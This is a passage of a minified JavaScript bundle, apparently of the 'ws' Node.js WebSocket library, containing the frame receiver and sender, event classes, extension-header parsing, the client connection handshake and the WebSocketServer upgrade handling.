Uint8Array(r.buffer,r.byteOffset,e),i),this._buffers[0]=new Z(r.buffer,r.byteOffset+e,r.length-e)),e-=r.length}while(e>0);return t}startLoop(e){let t;this._loop=!0;do switch(this._state){case j:t=this.getInfo();break;case Pe:t=this.getPayloadLength16();break;case Re:t=this.getPayloadLength64();break;case Ue:this.getMask();break;case ce:t=this.getData(e);break;default:this._loop=!1;return}while(this._loop);e(t)}getInfo(){if(this._bufferedBytes<2){this._loop=!1;return}const e=this.consume(2);if(e[0]&48)return this._loop=!1,g(RangeError,"RSV2 and RSV3 must be clear",!0,1002,"WS_ERR_UNEXPECTED_RSV_2_3");const t=(e[0]&64)===64;if(t&&!this._extensions[Ce.extensionName])return this._loop=!1,g(RangeError,"RSV1 must be clear",!0,1002,"WS_ERR_UNEXPECTED_RSV_1");if(this._fin=(e[0]&128)===128,this._opcode=e[0]&15,this._payloadLength=e[1]&127,this._opcode===0){if(t)return this._loop=!1,g(RangeError,"RSV1 must be clear",!0,1002,"WS_ERR_UNEXPECTED_RSV_1");if(!this._fragmented)return this._loop=!1,g(RangeError,"invalid opcode 0",!0,1002,"WS_ERR_INVALID_OPCODE");this._opcode=this._fragmented}else if(this._opcode===1||this._opcode===2){if(this._fragmented)return this._loop=!1,g(RangeError,`invalid opcode ${this._opcode}`,!0,1002,"WS_ERR_INVALID_OPCODE");this._compressed=t}else if(this._opcode>7&&this._opcode<11){if(!this._fin)return this._loop=!1,g(RangeError,"FIN must be set",!0,1002,"WS_ERR_EXPECTED_FIN");if(t)return this._loop=!1,g(RangeError,"RSV1 must be clear",!0,1002,"WS_ERR_UNEXPECTED_RSV_1");if(this._payloadLength>125||this._opcode===8&&this._payloadLength===1)return this._loop=!1,g(RangeError,`invalid payload length ${this._payloadLength}`,!0,1002,"WS_ERR_INVALID_CONTROL_PAYLOAD_LENGTH")}else return this._loop=!1,g(RangeError,`invalid opcode ${this._opcode}`,!0,1002,"WS_ERR_INVALID_OPCODE");if(!this._fin&&!this._fragmented&&(this._fragmented=this._opcode),this._masked=(e[1]&128)===128,this._isServer){if(!this._masked)return this._loop=!1,g(RangeError,"MASK must be set",!0,1002,"WS_ERR_EXPECTED_MASK")}else if(this._masked)return this._loop=!1,g(RangeError,"MASK must be clear",!0,1002,"WS_ERR_UNEXPECTED_MASK");if(this._payloadLength===126)this._state=Pe;else if(this._payloadLength===127)this._state=Re;else return this.haveLength()}getPayloadLength16(){if(this._bufferedBytes<2){this._loop=!1;return}return this._payloadLength=this.consume(2).readUInt16BE(0),this.haveLength()}getPayloadLength64(){if(this._bufferedBytes<8){this._loop=!1;return}const e=this.consume(8),t=e.readUInt32BE(0);return t>Math.pow(2,53-32)-1?(this._loop=!1,g(RangeError,"Unsupported WebSocket frame: payload length > 2^53 - 1",!1,1009,"WS_ERR_UNSUPPORTED_DATA_PAYLOAD_LENGTH")):(this._payloadLength=t*Math.pow(2,32)+e.readUInt32BE(4),this.haveLength())}haveLength(){if(this._payloadLength&&this._opcode<8&&(this._totalPayloadLength+=this._payloadLength,this._totalPayloadLength>this._maxPayload&&this._maxPayload>0))return this._loop=!1,g(RangeError,"Max payload size exceeded",!1,1009,"WS_ERR_UNSUPPORTED_MESSAGE_LENGTH");this._masked?this._state=Ue:this._state=ce}getMask(){if(this._bufferedBytes<4){this._loop=!1;return}this._mask=this.consume(4),this._state=ce}getData(e){let t=Le;if(this._payloadLength){if(this._bufferedBytes<this._payloadLength){this._loop=!1;return}t=this.consume(this._payloadLength),this._masked&&this._mask[0]|this._mask[1]|this._mask[2]|this._mask[3]&&Vt(t,this._mask)}if(this._opcode>7)return this.controlMessage(t);if(this._compressed){this._state=zt,this.decompress(t,e);return}return t.length&&(this._messageLength=this._totalPayloadLength,this._fragments.push(t)),this.dataMessage()}decompress(e,t){this._extensions[Ce.extensionName].decompress(e,this._fin,(i,n)=>{if(i)return t(i);if(n.length){if(this._messageLength+=n.length,this._messageLength>this._maxPayload&&this._maxPayload>0)return t(g(RangeError,"Max payload size exceeded",!1,1009,"WS_ERR_UNSUPPORTED_MESSAGE_LENGTH"));this._fragments.push(n)}const o=this.dataMessage();if(o)return t(o);this.startLoop(t)})}dataMessage(){if(this._fin){const e=this._messageLength,t=this._fragments;if(this._totalPayloadLength=0,this._messageLength=0,this._fragmented=0,this._fragments=[],this._opcode===2){let r;this._binaryType==="nodebuffer"?r=he(t,e):this._binaryType==="arraybuffer"?r=Gt(he(t,e)):r=t,this.emit("message",r,!0)}else{const r=he(t,e);if(!this._skipUTF8Validation&&!Ne(r))return this._loop=!1,g(Error,"invalid UTF-8 sequence",!0,1007,"WS_ERR_INVALID_UTF8");this.emit("message",r,!1)}}this._state=j}controlMessage(e){if(this._opcode===8)if(this._loop=!1,e.length===0)this.emit("conclude",1005,Le),this.end();else{const t=e.readUInt16BE(0);if(!Ht(t))return g(RangeError,`invalid status code ${t}`,!0,1002,"WS_ERR_INVALID_CLOSE_CODE");const r=new Z(e.buffer,e.byteOffset+2,e.length-2);if(!this._skipUTF8Validation&&!Ne(r))return g(Error,"invalid UTF-8 sequence",!0,1007,"WS_ERR_INVALID_UTF8");this.emit("conclude",t,r),this.end()}else this._opcode===9?this.emit("ping",e):this.emit("pong",e);this._state=j}};var et=Yt;function g(s,e,t,r,i){const n=new s(t?`Invalid WebSocket frame: ${e}`:e);return Error.captureStackTrace(n,g),n.code=i,n[Ft]=r,n}const Ys=et,{randomFillSync:qt}=S,Be=ie,{EMPTY_BUFFER:Kt}=$,{isValidStatusCode:Xt}=N,{mask:$e,toBuffer:D}=L,x=Symbol("kByteLength"),Zt=Buffer.alloc(4);let Qt=class U{constructor(e,t,r){this._extensions=t||{},r&&(this._generateMask=r,this._maskBuffer=Buffer.alloc(4)),this._socket=e,this._firstFragment=!0,this._compress=!1,this._bufferedBytes=0,this._deflating=!1,this._queue=[]}static frame(e,t){let r,i=!1,n=2,o=!1;t.mask&&(r=t.maskBuffer||Zt,t.generateMask?t.generateMask(r):qt(r,0,4),o=(r[0]|r[1]|r[2]|r[3])===0,n=6);let l;typeof e=="string"?(!t.mask||o)&&t[x]!==void 0?l=t[x]:(e=Buffer.from(e),l=e.length):(l=e.length,i=t.mask&&t.readOnly&&!o);let f=l;l>=65536?(n+=8,f=127):l>125&&(n+=2,f=126);const a=Buffer.allocUnsafe(i?l+n:n);return a[0]=t.fin?t.opcode|128:t.opcode,t.rsv1&&(a[0]|=64),a[1]=f,f===126?a.writeUInt16BE(l,2):f===127&&(a[2]=a[3]=0,a.writeUIntBE(l,4,6)),t.mask?(a[1]|=128,a[n-4]=r[0],a[n-3]=r[1],a[n-2]=r[2],a[n-1]=r[3],o?[a,e]:i?($e(e,r,a,n,l),[a]):($e(e,r,e,0,l),[a,e])):[a,e]}close(e,t,r,i){let n;if(e===void 0)n=Kt;else{if(typeof e!="number"||!Xt(e))throw new TypeError("First argument must be a valid error code number");if(t===void 0||!t.length)n=Buffer.allocUnsafe(2),n.writeUInt16BE(e,0);else{const l=Buffer.byteLength(t);if(l>123)throw new RangeError("The message must not be greater than 123 bytes");n=Buffer.allocUnsafe(2+l),n.writeUInt16BE(e,0),typeof t=="string"?n.write(t,2):n.set(t,2)}}const o={[x]:n.length,fin:!0,generateMask:this._generateMask,mask:r,maskBuffer:this._maskBuffer,opcode:8,readOnly:!1,rsv1:!1};this._deflating?this.enqueue([this.dispatch,n,!1,o,i]):this.sendFrame(U.frame(n,o),i)}ping(e,t,r){let i,n;if(typeof e=="string"?(i=Buffer.byteLength(e),n=!1):(e=D(e),i=e.length,n=D.readOnly),i>125)throw new RangeError("The data size must not be greater than 125 bytes");const o={[x]:i,fin:!0,generateMask:this._generateMask,mask:t,maskBuffer:this._maskBuffer,opcode:9,readOnly:n,rsv1:!1};this._deflating?this.enqueue([this.dispatch,e,!1,o,r]):this.sendFrame(U.frame(e,o),r)}pong(e,t,r){let i,n;if(typeof e=="string"?(i=Buffer.byteLength(e),n=!1):(e=D(e),i=e.length,n=D.readOnly),i>125)throw new RangeError("The data size must not be greater than 125 bytes");const o={[x]:i,fin:!0,generateMask:this._generateMask,mask:t,maskBuffer:this._maskBuffer,opcode:10,readOnly:n,rsv1:!1};this._deflating?this.enqueue([this.dispatch,e,!1,o,r]):this.sendFrame(U.frame(e,o),r)}send(e,t,r){const i=this._extensions[Be.extensionName];let n=t.binary?2:1,o=t.compress,l,f;if(typeof e=="string"?(l=Buffer.byteLength(e),f=!1):(e=D(e),l=e.length,f=D.readOnly),this._firstFragment?(this._firstFragment=!1,o&&i&&i.params[i._isServer?"server_no_context_takeover":"client_no_context_takeover"]&&(o=l>=i._threshold),this._compress=o):(o=!1,n=0),t.fin&&(this._firstFragment=!0),i){const a={[x]:l,fin:t.fin,generateMask:this._generateMask,mask:t.mask,maskBuffer:this._maskBuffer,opcode:n,readOnly:f,rsv1:o};this._deflating?this.enqueue([this.dispatch,e,this._compress,a,r]):this.dispatch(e,this._compress,a,r)}else this.sendFrame(U.frame(e,{[x]:l,fin:t.fin,generateMask:this._generateMask,mask:t.mask,maskBuffer:this._maskBuffer,opcode:n,readOnly:f,rsv1:!1}),r)}dispatch(e,t,r,i){if(!t){this.sendFrame(U.frame(e,r),i);return}const n=this._extensions[Be.extensionName];this._bufferedBytes+=r[x],this._deflating=!0,n.compress(e,r.fin,(o,l)=>{if(this._socket.destroyed){const f=new Error("The socket was closed while data was being compressed");typeof i=="function"&&i(f);for(let a=0;a<this._queue.length;a++){const c=this._queue[a],h=c[c.length-1];typeof h=="function"&&h(f)}return}this._bufferedBytes-=r[x],this._deflating=!1,r.readOnly=!1,this.sendFrame(U.frame(l,r),i),this.dequeue()})}dequeue(){for(;!this._deflating&&this._queue.length;){const e=this._queue.shift();this._bufferedBytes-=e[3][x],Reflect.apply(e[0],this,e.slice(1))}}enqueue(e){this._bufferedBytes+=e[3][x],this._queue.push(e)}sendFrame(e,t){e.length===2?(this._socket.cork(),this._socket.write(e[0]),this._socket.write(e[1],t),this._socket.uncork()):this._socket.write(e[0],t)}};var tt=Qt;const qs=tt,{kForOnEventAttribute:G,kListener:ue}=$,Me=Symbol("kCode"),Ie=Symbol("kData"),De=Symbol("kError"),We=Symbol("kMessage"),Ae=Symbol("kReason"),W=Symbol("kTarget"),Fe=Symbol("kType"),je=Symbol("kWasClean");class M{constructor(e){this[W]=null,this[Fe]=e}get target(){return this[W]}get type(){return this[Fe]}}Object.defineProperty(M.prototype,"target",{enumerable:!0});Object.defineProperty(M.prototype,"type",{enumerable:!0});class q extends M{constructor(e,t={}){super(e),this[Me]=t.code===void 0?0:t.code,this[Ae]=t.reason===void 0?"":t.reason,this[je]=t.wasClean===void 0?!1:t.wasClean}get code(){return this[Me]}get reason(){return this[Ae]}get wasClean(){return this[je]}}Object.defineProperty(q.prototype,"code",{enumerable:!0});Object.defineProperty(q.prototype,"reason",{enumerable:!0});Object.defineProperty(q.prototype,"wasClean",{enumerable:!0});class ne extends M{constructor(e,t={}){super(e),this[De]=t.error===void 0?null:t.error,this[We]=t.message===void 0?"":t.message}get error(){return this[De]}get message(){return this[We]}}Object.defineProperty(ne.prototype,"error",{enumerable:!0});Object.defineProperty(ne.prototype,"message",{enumerable:!0});class Se extends M{constructor(e,t={}){super(e),this[Ie]=t.data===void 0?null:t.data}get data(){return this[Ie]}}Object.defineProperty(Se.prototype,"data",{enumerable:!0});const Jt={addEventListener(s,e,t={}){for(const i of this.listeners(s))if(!t[G]&&i[ue]===e&&!i[G])return;let r;if(s==="message")r=function(n,o){const l=new Se("message",{data:o?n:n.toString()});l[W]=this,Q(e,this,l)};else if(s==="close")r=function(n,o){const l=new q("close",{code:n,reason:o.toString(),wasClean:this._closeFrameReceived&&this._closeFrameSent});l[W]=this,Q(e,this,l)};else if(s==="error")r=function(n){const o=new ne("error",{error:n,message:n.message});o[W]=this,Q(e,this,o)};else if(s==="open")r=function(){const n=new M("open");n[W]=this,Q(e,this,n)};else return;r[G]=!!t[G],r[ue]=e,t.once?this.once(s,r):this.on(s,r)},removeEventListener(s,e){for(const t of this.listeners(s))if(t[ue]===e&&!t[G]){this.removeListener(s,t);break}}};var es={CloseEvent:q,ErrorEvent:ne,Event:M,EventTarget:Jt,MessageEvent:Se};function Q(s,e,t){typeof s=="object"&&s.handleEvent?s.handleEvent.call(s,t):s.call(e,t)}const{tokenChars:V}=N;function k(s,e,t){s[e]===void 0?s[e]=[t]:s[e].push(t)}function ts(s){const e=Object.create(null);let t=Object.create(null),r=!1,i=!1,n=!1,o,l,f=-1,a=-1,c=-1,h=0;for(;h<s.length;h++)if(a=s.charCodeAt(h),o===void 0)if(c===-1&&V[a]===1)f===-1&&(f=h);else if(h!==0&&(a===32||a===9))c===-1&&f!==-1&&(c=h);else if(a===59||a===44){if(f===-1)throw new SyntaxError(`Unexpected character at index ${h}`);c===-1&&(c=h);const v=s.slice(f,c);a===44?(k(e,v,t),t=Object.create(null)):o=v,f=c=-1}else throw new SyntaxError(`Unexpected character at index ${h}`);else if(l===void 0)if(c===-1&&V[a]===1)f===-1&&(f=h);else if(a===32||a===9)c===-1&&f!==-1&&(c=h);else if(a===59||a===44){if(f===-1)throw new SyntaxError(`Unexpected character at index ${h}`);c===-1&&(c=h),k(t,s.slice(f,c),!0),a===44&&(k(e,o,t),t=Object.create(null),o=void 0),f=c=-1}else if(a===61&&f!==-1&&c===-1)l=s.slice(f,h),f=c=-1;else throw new SyntaxError(`Unexpected character at index ${h}`);else if(i){if(V[a]!==1)throw new SyntaxError(`Unexpected character at index ${h}`);f===-1?f=h:r||(r=!0),i=!1}else if(n)if(V[a]===1)f===-1&&(f=h);else if(a===34&&f!==-1)n=!1,c=h;else if(a===92)i=!0;else throw new SyntaxError(`Unexpected character at index ${h}`);else if(a===34&&s.charCodeAt(h-1)===61)n=!0;else if(c===-1&&V[a]===1)f===-1&&(f=h);else if(f!==-1&&(a===32||a===9))c===-1&&(c=h);else if(a===59||a===44){if(f===-1)throw new SyntaxError(`Unexpected character at index ${h}`);c===-1&&(c=h);let v=s.slice(f,c);r&&(v=v.replace(/\\/g,""),r=!1),k(t,l,v),a===44&&(k(e,o,t),t=Object.create(null),o=void 0),l=void 0,f=c=-1}else throw new SyntaxError(`Unexpected character at index ${h}`);if(f===-1||n||a===32||a===9)throw new SyntaxError("Unexpected end of input");c===-1&&(c=h);const p=s.slice(f,c);return o===void 0?k(e,p,t):(l===void 0?k(t,p,!0):r?k(t,l,p.replace(/\\/g,"")):k(t,l,p),k(e,o,t)),e}function ss(s){return Object.keys(s).map(e=>{let t=s[e];return Array.isArray(t)||(t=[t]),t.map(r=>[e].concat(Object.keys(r).map(i=>{let n=r[i];return Array.isArray(n)||(n=[n]),n.map(o=>o===!0?i:`${i}=${o}`).join("; ")})).join("; ")).join(", ")}).join(", ")}var st={format:ss,parse:ts};const rs=S,is=S,ns=S,rt=S,os=S,{randomBytes:as,createHash:ls}=S,{URL:de}=S,C=ie,fs=et,hs=tt,{BINARY_TYPES:Ge,EMPTY_BUFFER:J,GUID:cs,kForOnEventAttribute:_e,kListener:us,kStatusCode:ds,kWebSocket:y,NOOP:it}=$,{EventTarget:{addEventListener:_s,removeEventListener:ps}}=es,{format:ms,parse:gs}=st,{toBuffer:ys}=L,vs=30*1e3,nt=Symbol("kAborted"),pe=[8,13],O=["CONNECTING","OPEN","CLOSING","CLOSED"],Ss=/^[!#$%&'*+\-.0-9A-Z^_`|a-z~]+$/;let m=class d extends rs{constructor(e,t,r){super(),this._binaryType=Ge[0],this._closeCode=1006,this._closeFrameReceived=!1,this._closeFrameSent=!1,this._closeMessage=J,this._closeTimer=null,this._extensions={},this._paused=!1,this._protocol="",this._readyState=d.CONNECTING,this._receiver=null,this._sender=null,this._socket=null,e!==null?(this._bufferedAmount=0,this._isServer=!1,this._redirects=0,t===void 0?t=[]:Array.isArray(t)||(typeof t=="object"&&t!==null?(r=t,t=[]):t=[t]),at(this,e,t,r)):this._isServer=!0}get binaryType(){return this._binaryType}set binaryType(e){Ge.includes(e)&&(this._binaryType=e,this._receiver&&(this._receiver._binaryType=e))}get bufferedAmount(){return this._socket?this._socket._writableState.length+this._sender._bufferedBytes:this._bufferedAmount}get extensions(){return Object.keys(this._extensions).join()}get isPaused(){return this._paused}get onclose(){return null}get onerror(){return null}get onopen(){return null}get onmessage(){return null}get protocol(){return this._protocol}get readyState(){return this._readyState}get url(){return this._url}setSocket(e,t,r){const i=new fs({binaryType:this.binaryType,extensions:this._extensions,isServer:this._isServer,maxPayload:r.maxPayload,skipUTF8Validation:r.skipUTF8Validation});this._sender=new hs(e,this._extensions,r.generateMask),this._receiver=i,this._socket=e,i[y]=this,e[y]=this,i.on("conclude",xs),i.on("drain",ks),i.on("error",ws),i.on("message",Os),i.on("ping",Ts),i.on("pong",Cs),e.setTimeout(0),e.setNoDelay(),t.length>0&&e.unshift(t),e.on("close",ft),e.on("data",oe),e.on("end",ht),e.on("error",ct),this._readyState=d.OPEN,this.emit("open")}emitClose(){if(!this._socket){this._readyState=d.CLOSED,this.emit("close",this._closeCode,this._closeMessage);return}this._extensions[C.extensionName]&&this._extensions[C.extensionName].cleanup(),this._receiver.removeAllListeners(),this._readyState=d.CLOSED,this.emit("close",this._closeCode,this._closeMessage)}close(e,t){if(this.readyState!==d.CLOSED){if(this.readyState===d.CONNECTING){const r="WebSocket was closed before the connection was established";b(this,this._req,r);return}if(this.readyState===d.CLOSING){this._closeFrameSent&&(this._closeFrameReceived||this._receiver._writableState.errorEmitted)&&this._socket.end();return}this._readyState=d.CLOSING,this._sender.close(e,t,!this._isServer,r=>{r||(this._closeFrameSent=!0,(this._closeFrameReceived||this._receiver._writableState.errorEmitted)&&this._socket.end())}),this._closeTimer=setTimeout(this._socket.destroy.bind(this._socket),vs)}}pause(){this.readyState===d.CONNECTING||this.readyState===d.CLOSED||(this._paused=!0,this._socket.pause())}ping(e,t,r){if(this.readyState===d.CONNECTING)throw new Error("WebSocket is not open: readyState 0 (CONNECTING)");if(typeof e=="function"?(r=e,e=t=void 0):typeof t=="function"&&(r=t,t=void 0),typeof e=="number"&&(e=e.toString()),this.readyState!==d.OPEN){me(this,e,r);return}t===void 0&&(t=!this._isServer),this._sender.ping(e||J,t,r)}pong(e,t,r){if(this.readyState===d.CONNECTING)throw new Error("WebSocket is not open: readyState 0 (CONNECTING)");if(typeof e=="function"?(r=e,e=t=void 0):typeof t=="function"&&(r=t,t=void 0),typeof e=="number"&&(e=e.toString()),this.readyState!==d.OPEN){me(this,e,r);return}t===void 0&&(t=!this._isServer),this._sender.pong(e||J,t,r)}resume(){this.readyState===d.CONNECTING||this.readyState===d.CLOSED||(this._paused=!1,this._receiver._writableState.needDrain||this._socket.resume())}send(e,t,r){if(this.readyState===d.CONNECTING)throw new Error("WebSocket is not open: readyState 0 (CONNECTING)");if(typeof t=="function"&&(r=t,t={}),typeof e=="number"&&(e=e.toString()),this.readyState!==d.OPEN){me(this,e,r);return}const i={binary:typeof e!="string",mask:!this._isServer,compress:!0,fin:!0,...t};this._extensions[C.extensionName]||(i.compress=!1),this._sender.send(e||J,i,r)}terminate(){if(this.readyState!==d.CLOSED){if(this.readyState===d.CONNECTING){const e="WebSocket was closed before the connection was established";b(this,this._req,e);return}this._socket&&(this._readyState=d.CLOSING,this._socket.destroy())}}};Object.defineProperty(m,"CONNECTING",{enumerable:!0,value:O.indexOf("CONNECTING")});Object.defineProperty(m.prototype,"CONNECTING",{enumerable:!0,value:O.indexOf("CONNECTING")});Object.defineProperty(m,"OPEN",{enumerable:!0,value:O.indexOf("OPEN")});Object.defineProperty(m.prototype,"OPEN",{enumerable:!0,value:O.indexOf("OPEN")});Object.defineProperty(m,"CLOSING",{enumerable:!0,value:O.indexOf("CLOSING")});Object.defineProperty(m.prototype,"CLOSING",{enumerable:!0,value:O.indexOf("CLOSING")});Object.defineProperty(m,"CLOSED",{enumerable:!0,value:O.indexOf("CLOSED")});Object.defineProperty(m.prototype,"CLOSED",{enumerable:!0,value:O.indexOf("CLOSED")});["binaryType","bufferedAmount","extensions","isPaused","protocol","readyState","url"].forEach(s=>{Object.defineProperty(m.prototype,s,{enumerable:!0})});["open","error","close","message"].forEach(s=>{Object.defineProperty(m.prototype,`on${s}`,{enumerable:!0,get(){for(const e of this.listeners(s))if(e[_e])return e[us];return null},set(e){for(const t of this.listeners(s))if(t[_e]){this.removeListener(s,t);break}typeof e=="function"&&this.addEventListener(s,e,{[_e]:!0})}})});m.prototype.addEventListener=_s;m.prototype.removeEventListener=ps;var ot=m;function at(s,e,t,r){const i={protocolVersion:pe[1],maxPayload:104857600,skipUTF8Validation:!1,perMessageDeflate:!0,followRedirects:!1,maxRedirects:10,...r,createConnection:void 0,socketPath:void 0,hostname:void 0,protocol:void 0,timeout:void 0,method:"GET",host:void 0,path:void 0,port:void 0};if(!pe.includes(i.protocolVersion))throw new RangeError(`Unsupported protocol version: ${i.protocolVersion} (supported versions: ${pe.join(", ")})`);let n;if(e instanceof de)n=e,s._url=e.href;else{try{n=new de(e)}catch{throw new SyntaxError(`Invalid URL: ${e}`)}s._url=e}const o=n.protocol==="wss:",l=n.protocol==="ws+unix:";let f;if(n.protocol!=="ws:"&&!o&&!l?f=`The URL's protocol must be one of "ws:", "wss:", or "ws+unix:"`:l&&!n.pathname?f="The URL's pathname is empty":n.hash&&(f="The URL contains a fragment identifier"),f){const u=new SyntaxError(f);if(s._redirects===0)throw u;te(s,u);return}const a=o?443:80,c=as(16).toString("base64"),h=o?is.request:ns.request,p=new Set;let v;if(i.createConnection=o?bs:Es,i.defaultPort=i.defaultPort||a,i.port=n.port||a,i.host=n.hostname.startsWith("[")?n.hostname.slice(1,-1):n.hostname,i.headers={...i.headers,"Sec-WebSocket-Version":i.protocolVersion,"Sec-WebSocket-Key":c,Connection:"Upgrade",Upgrade:"websocket"},i.path=n.pathname+n.search,i.timeout=i.handshakeTimeout,i.perMessageDeflate&&(v=new C(i.perMessageDeflate!==!0?i.perMessageDeflate:{},!1,i.maxPayload),i.headers["Sec-WebSocket-Extensions"]=ms({[C.extensionName]:v.offer()})),t.length){for(const u of t){if(typeof u!="string"||!Ss.test(u)||p.has(u))throw new SyntaxError("An invalid or duplicated subprotocol was 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"+Buffer.from(i.auth).toString("base64")),_=s._req=h(i),s._redirects&&s.emit("redirect",s.url,_)}else _=s._req=h(i);i.timeout&&_.on("timeout",()=>{b(s,_,"Opening handshake has timed out")}),_.on("error",u=>{_===null||_[nt]||(_=s._req=null,te(s,u))}),_.on("response",u=>{const E=u.headers.location,I=u.statusCode;if(E&&i.followRedirects&&I>=300&&I<400){if(++s._redirects>i.maxRedirects){b(s,_,"Maximum redirects exceeded");return}_.abort();let K;try{K=new de(E,e)}catch{const P=new SyntaxError(`Invalid URL: ${E}`);te(s,P);return}at(s,K,t,r)}else s.emit("unexpected-response",_,u)||b(s,_,`Unexpected server response: ${u.statusCode}`)}),_.on("upgrade",(u,E,I)=>{if(s.emit("upgrade",u),s.readyState!==m.CONNECTING)return;if(_=s._req=null,u.headers.upgrade.toLowerCase()!=="websocket"){b(s,E,"Invalid Upgrade header");return}const K=ls("sha1").update(c+cs).digest("base64");if(u.headers["sec-websocket-accept"]!==K){b(s,E,"Invalid Sec-WebSocket-Accept header");return}const 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Es(s){return s.path=s.socketPath,rt.connect(s)}function bs(s){return s.path=void 0,!s.servername&&s.servername!==""&&(s.servername=rt.isIP(s.host)?"":s.host),os.connect(s)}function b(s,e,t){s._readyState=m.CLOSING;const r=new Error(t);Error.captureStackTrace(r,b),e.setHeader?(e[nt]=!0,e.abort(),e.socket&&!e.socket.destroyed&&e.socket.destroy(),process.nextTick(te,s,r)):(e.destroy(r),e.once("error",s.emit.bind(s,"error")),e.once("close",s.emitClose.bind(s)))}function me(s,e,t){if(e){const r=ys(e).length;s._socket?s._sender._bufferedBytes+=r:s._bufferedAmount+=r}if(t){const r=new Error(`WebSocket is not open: readyState ${s.readyState} (${O[s.readyState]})`);process.nextTick(t,r)}}function xs(s,e){const t=this[y];t._closeFrameReceived=!0,t._closeMessage=e,t._closeCode=s,t._socket[y]!==void 0&&(t._socket.removeListener("data",oe),process.nextTick(lt,t._socket),s===1005?t.close():t.close(s,e))}function ks(){const s=this[y];s.isPaused||s._socket.resume()}function ws(s){const e=this[y];e._socket[y]!==void 0&&(e._socket.removeListener("data",oe),process.nextTick(lt,e._socket),e.close(s[ds])),e.emit("error",s)}function Ve(){this[y].emitClose()}function Os(s,e){this[y].emit("message",s,e)}function Ts(s){const e=this[y];e.pong(s,!e._isServer,it),e.emit("ping",s)}function Cs(s){this[y].emit("pong",s)}function lt(s){s.resume()}function ft(){const s=this[y];this.removeListener("close",ft),this.removeListener("data",oe),this.removeListener("end",ht),s._readyState=m.CLOSING;let e;!this._readableState.endEmitted&&!s._closeFrameReceived&&!s._receiver._writableState.errorEmitted&&(e=s._socket.read())!==null&&s._receiver.write(e),s._receiver.end(),this[y]=void 0,clearTimeout(s._closeTimer),s._receiver._writableState.finished||s._receiver._writableState.errorEmitted?s.emitClose():(s._receiver.on("error",Ve),s._receiver.on("finish",Ve))}function oe(s){this[y]._receiver.write(s)||this.pause()}function ht(){const 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r=this.emit.bind(this,"connection");this._removeListeners=Fs(this._server,{listening:this.emit.bind(this,"listening"),error:this.emit.bind(this,"error"),upgrade:(i,n,o)=>{this.handleUpgrade(i,n,o,r)}})}e.perMessageDeflate===!0&&(e.perMessageDeflate={}),e.clientTracking&&(this.clients=new Set,this._shouldEmitClose=!1),this.options=e,this._state=ze}address(){if(this.options.noServer)throw new Error('The server is operating in "noServer" mode');return this._server?this._server.address():null}close(e){if(this._state===ut){e&&this.once("close",()=>{e(new Error("The server is not running"))}),process.nextTick(H,this);return}if(e&&this.once("close",e),this._state!==Ye)if(this._state=Ye,this.options.noServer||this.options.server)this._server&&(this._removeListeners(),this._removeListeners=this._server=null),this.clients?this.clients.size?this._shouldEmitClose=!0:process.nextTick(H,this):process.nextTick(H,this);else{const t=this._server;this._removeListeners(),this._removeListeners=this._server=null,t.close(()=>{H(this)})}}shouldHandle(e){if(this.options.path){const t=e.url.indexOf("?");if((t!==-1?e.url.slice(0,t):e.url)!==this.options.path)return!1}return!0}handleUpgrade(e,t,r,i){t.on("error",qe);const n=e.headers["sec-websocket-key"],o=+e.headers["sec-websocket-version"];if(e.method!=="GET"){B(this,e,t,405,"Invalid HTTP method");return}if(e.headers.upgrade.toLowerCase()!=="websocket"){B(this,e,t,400,"Invalid Upgrade header");return}if(!n||!Ds.test(n)){B(this,e,t,400,"Missing or invalid Sec-WebSocket-Key header");return}if(o!==8&&o!==13){B(this,e,t,400,"Missing or invalid Sec-WebSocket-Version header");return}if(!this.shouldHandle(e)){Y(t,400);return}const l=e.headers["sec-websocket-protocol"];let f=new Set;if(l!==void 0)try{f=Bs.parse(l)}catch{B(this,e,t,400,"Invalid Sec-WebSocket-Protocol header");return}const a=e.headers["sec-websocket-extensions"],c={};if(this.options.perMessageDeflate&&a!==void 0){const h=new R(this.options.perMessageDeflate,!0,this.options.maxPayload);try{const p=He.parse(a);p[R.extensionName]&&(h.accept(p[R.extensionName]),c[R.extensionName]=h)}catch{B(this,e,t,400,"Invalid or unacceptable Sec-WebSocket-Extensions header");return}}if(this.options.verifyClient){const h={origin:e.headers[`${o===8?"sec-websocket-origin":"origin"}`],secure:!!(e.socket.authorized||e.socket.encrypted),req:e};if(this.options.verifyClient.length===2){this.options.verifyClient(h,(p,v,_,u)=>{if(!p)return Y(t,v||401,_,u);this.completeUpgrade(c,n,f,e,t,r,i)});return}if(!this.options.verifyClient(h))return Y(t,401)}this.completeUpgrade(c,n,f,e,t,r,i)}completeUpgrade(e,t,r,i,n,o,l){if(!n.readable||!n.writable)return n.destroy();if(n[Is])throw new Error("server.handleUpgrade() was called more than once with the same socket, possibly due to a misconfiguration");if(this._state>ze)return Y(n,503);const a=["HTTP/1.1 101 Switching Protocols","Upgrade: websocket","Connection: Upgrade",`Sec-WebSocket-Accept: ${Us("sha1").update(t+Ms).digest("base64")}`],c=new this.options.WebSocket(null);if(r.size){const h=this.options.handleProtocols?this.options.handleProtocols(r,i):r.values().next().value;h&&(a.push(`Sec-WebSocket-Protocol: ${h}`),c._protocol=h)}if(e[R.extensionName]){const h=e[R.extensionName].params,p=He.format({[R.extensionName]:[h]});a.push(`Sec-WebSocket-Extensions: ${p}`),c._extensions=e}this.emit("headers",a,i),n.write(a.concat(`\r
-`).join(`\r
-`)),n.removeListener("error",qe),c.setSocket(n,o,{maxPayload:this.options.maxPayload,skipUTF8Validation:this.options.skipUTF8Validation}),this.clients&&(this.clients.add(c),c.on("close",()=>{this.clients.delete(c),this._shouldEmitClose&&!this.clients.size&&process.nextTick(H,this)})),l(c,i)}}var As=Ws;function Fs(s,e){for(const t of Object.keys(e))s.on(t,e[t]);return function(){for(const r of Object.keys(e))s.removeListener(r,e[r])}}function H(s){s._state=ut,s.emit("close")}function qe(){this.destroy()}function Y(s,e,t,r){t=t||re.STATUS_CODES[e],r={Connection:"close","Content-Type":"text/html","Content-Length":Buffer.byteLength(t),...r},s.once("finish",s.destroy),s.end(`HTTP/1.1 ${e} ${re.STATUS_CODES[e]}\r
-`+Object.keys(r).map(i=>`${i}: ${r[i]}`).join(`\r
-`)+`\r
-\r
-`+t)}function B(s,e,t,r,i){if(s.listenerCount("wsClientError")){const n=new Error(i);Error.captureStackTrace(n,B),s.emit("wsClientError",n,t,e)}else Y(t,r,i)}const Xs=As;export{Ys as Receiver,qs as Sender,Ks as WebSocket,Xs as WebSocketServer,Gs as createWebSocketStream,Ks as default};
